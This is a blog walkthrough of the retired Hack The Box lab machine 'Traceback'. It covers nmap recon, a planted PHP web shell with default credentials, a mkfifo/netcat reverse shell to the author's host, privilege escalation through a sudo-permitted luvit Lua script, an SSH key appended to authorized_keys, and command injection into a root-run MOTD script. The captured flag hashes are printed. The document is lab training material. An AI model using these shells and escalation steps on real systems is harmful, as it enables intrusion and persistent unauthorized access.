Skip to main content

Hackthebox.eu - Retired - Traceback

Hackthebox.eu - Retired - Traceback


Recon

As my normal. I start with a simple Up/Down scan on all TCP ports


Nmap -T4 -p- -oX ./nmapb.xml traceback.htb


Then I convert that to HTML to make it pretty


$ xsltproc ./nmapb.xml -o ./nmapb.html



Just three open ports 22, 80 and 8080


Let's scan again with the -A switch to try and finger OS/Service


$ nmap -T4 -p22,80,8080 -A -oX ./nmapf.xml traceback.htb


Then I convert that to HTML also

 xsltproc ./nmapf.xml -o ./nmapf.html



Port 22 is a fairly recent openssh

80 is apache

8080 is something strange… 


Lets see what we see on port 80



Looks like somebody has defaced the site




But they left us a backdoor?  I think it might have something to do with port 8080 but let's run dirb just in case

Trying to browse to port 8080 we get nothing


What about this part of our nmap output?


Googling around for http-proxy socks5 I eventually found this page

https://www.systutorials.com/proxy-using-ssh-tunnel/


It talks about setting up an SSH proxy 



What happens if we try to SSH into port 80




Cool there is SSH there…

What was the  hackers name again?



Oh yeah its right the in the screenshot


XH4H


Dirb wasn't very helpful


But this line in source code looks like a thread we should pull



I popped that into google and found this github


https://github.com/TheBinitGhimire/Web-Shells









I wonder if these shells might be what the hacker means back they left a backdoor


I just copied and pasted each one to see if it was in the root dir…


After almost exhausting the list we got this


Looking at the code for this shell the default creds are admin/admin



Let's try it



Yup


While I haven't exploited the system yet. Let's move over to the exploitation section or I'm going to feel dirty




Exploit



Ok so we got a shell cool



Let's poke around the OS and see what we can find


Here is the bash history for webadmin






Lua




https://www.lua.org/




Here is sudo -l


Webadmin can run this luvit application as sysadmin with no password



Let's grab a better shell than this PHP webshell



Let's listen on 5555 on our kali box


And run mkfifo on the web shell



rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.42 5555 >/tmp/f





Lets see what that application we found earlier does

$ sudo -u sysadmin /home/sysadmin/luvit



Googling around for luvit lands us here

https://luvit.io/


Using the Node-Style APIs

The luvit CLI tool can be used as a scripting platform just like node. This can be used to run lua scripts as standalone servers, clients, or other tools.

…. That sounds really interesting. I wonder if we can use a lua script to get a reverse shell as sysadmin..


So here is the easiest thing I can think to do is just have a lua script that can spawn a new shell as sysadmin


I created Lua script with this inside


os.execute('/bin/sh')


Then used python SimpleHTTPServer and wget to move it over to the traceback


On kali

/Desktop/HTB/traceback$ python -m SimpleHTTPServer 8080

On traceback

http://10.10.14.30:8080/Esc.lua


Then we use sudo to call the file Esc.lua as sysadmin


sudo -u sysadmin /home/sysadmin/luvit /tmp/circusmonkey/Esc.lua



Alright alright alright

Full House Whatever GIF



Let's get our user hash




cat user.txt

c24349701ae38c33ffbf0cceb2c46020


I created a new folder under tmp (because I'm too lazy to deal with the folder permissions we created with the webadmin user)


Mkdir /tmp/circusmonkey2


Let's use SimpleHTTPServer to transfer linEnum.sh over to traceback to see if we can find any misconfiguration we might find




We need to give this script execution rights


Chmod +x ./LinEnum.sh




This part of the running processes caught my attention



Looks like there is a running process as root that copies everything over from /var/backsups/.update-motd.d  to /etc/update-motd.d


This looks like a process that is meant to keep the /etc/update-motd.d folder from being messed with.


Every 30 seconds it resotes the file to a version that was backed up


MOTD… Things bring me back to my net admin days.. Setting the MOTD banner on cisco ios..



MOTD stands 




 

for Message of the Day.




fa

sd

sdaf 



This is a message that can be displayed on a ssh or telnet session(among other services). There can be a couple of different banner one that is a warning banner that can be displayed preauthentication and another that you will see after you authenticate.




Let's check out the folder that is being overwritten



Ooooooohhhhhh  the sysadmin group has write access to this….

Let's check out the 00-header file



See that last part


Welcome to Xh4Hland


Let's try to connect up using SSH to see if that is the message we get when we ssh in



Well that's not the same message….


Maybe our message is behind authentication. Let's put our ssh key in the authrozied_keys for sysadmin and see if we get a different message after we gain access.



Let's start by generating our private and public keys


$ ssh-keygen -t rsa


This makes a private and public key for us..


It puts the public key in the  directory we ran the command from


Since this is a live box and there are other users trying to root this box.. I don't want to overwrite the authorized_keys file for sysadmin


So let's add some padding to our public key so we have a bit of spaces in between


$ (echo -e "\n\n"; cat ./id_rsa.pub; echo -e "\n\n") > pubkey.txt



Now we can use >> to add this to the authorzied_keys file


On our shell


Cd /home/sysadmin/.ssh


 echo "



ssh-rsa AA*************************************************************************************************************************************************************************************************************************************** circusmonkey@kali



" >> authorized_keys


This should put our key at the bottom of the authroized_keys file


Now let's try to ssh with our private key



And there is that string we say in the 00-header file.



Let's edit the file to print out the root flag


Cd /etc/update-motd.d


$ echo "                                                                                                                                                                                                                                          cat /root/root.txt                                                                                                                                                                                                                    " >> 00-header



Then we'll cat the file to make sure it did put our cat in there.




Yup it's there let's open another terminal and try to ssh again



And there is our hash…. Since HTB is now rotating the hashes after every reset I'm not going to blur out the hash anymore since it shouldn't work by the time this goes public.


#################################

-------- OWNED BY XH4H  ---------

- I guess stuff could have been configured better ^^ -

#################################


Welcome to Xh4H land


c37bcae2b8b1cd4ed4addc68f243e1b0



Infinity War Yes GIF


Comments

Popular posts from this blog

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar...

Hack The Box - Retired - Laboratory

HackTheBox - Laboratory - Retired Starting off with a quick scan using threader6000 /opt/threader3000/threader6000.py 10.10.10.216 Ports 22,80,443 came back. Run nmap against these ports. nmap -p22,80,443 -sV -sC -T4 -Pn -oN 10.10.10.216 10.10.10.216 nmap -p22,80,443 -sV -sC -Pn -T4 -oN 10.10.10.216 10.10.10.216 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-13 17:43 EDT Nmap scan report for laboratory.htb (10.10.10.216) Host is up (0.060s latency). PORT    STATE SERVICE  VERSION 22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA) |   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA) |_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519) 80/tcp  open  http     Apache httpd 2.4.41 |_...

A collection of online Security CTF and Learning sites

 Hellbound Hackers    Embedded Security CTF Arizona Cyber Warfare Range Over The Wire - Bandit Pico CTF 2018 Hack The Box.eu Root Me: Challenges/Forensic RingZero CTF Vulnerable By Design - Vulnerable VMs Murder Mystery SQL Challenge Incident Response Challenge Authentication Lab Walkthroughs Defcon CTF Archives Matrix Holiday Hack Cyber Defenders | Blue Team and CTF Crypto Hack - learning Crypto Video Learning Zero to Hero Pentesting by The Cyber Mentor